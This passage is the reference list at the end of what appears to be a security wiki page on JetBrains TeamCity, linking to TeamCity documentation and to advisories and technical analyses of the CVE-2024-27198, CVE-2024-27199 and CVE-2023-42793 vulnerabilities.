Parameters](https://www.jetbrains.com/help/teamcity/typed-parameters.html) +- [JetBrains - Security Notes](https://www.jetbrains.com/help/teamcity/security-notes.html) +- [JetBrains - Pull Requests](https://www.jetbrains.com/help/teamcity/pull-requests.html) +- [JetBrains - Untrusted Builds](https://www.jetbrains.com/help/teamcity/untrusted-builds.html) +- [JetBrains - Service Messages](https://www.jetbrains.com/help/teamcity/service-messages.html) +- [JetBrains - TeamCity Data Directory](https://www.jetbrains.com/help/teamcity/teamcity-data-directory.html) +- [JetBrains - Installing Additional Plugins](https://www.jetbrains.com/help/teamcity/installing-additional-plugins.html) +- [JetBrains - CVE-2024-27198 and CVE-2024-27199 advisory](https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/) +- [Rapid7 - CVE-2024-27198 and CVE-2024-27199 technical analysis](https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/) +- [SonarSource - CVE-2023-42793 TeamCity vulnerability](https://www.sonarsource.com/blog/teamcity-vulnerability) +- [CISA - SVR actors exploiting TeamCity CVE-2023-42793](https://www.cisa.gov/news-events/alerts/2023/12/13/cisa-and-partners-release-advisory-russian-svr-affiliated-cyber-actors-exploiting-cve-2023-42793) + +{{#include ../../banners/hacktricks-training.md}}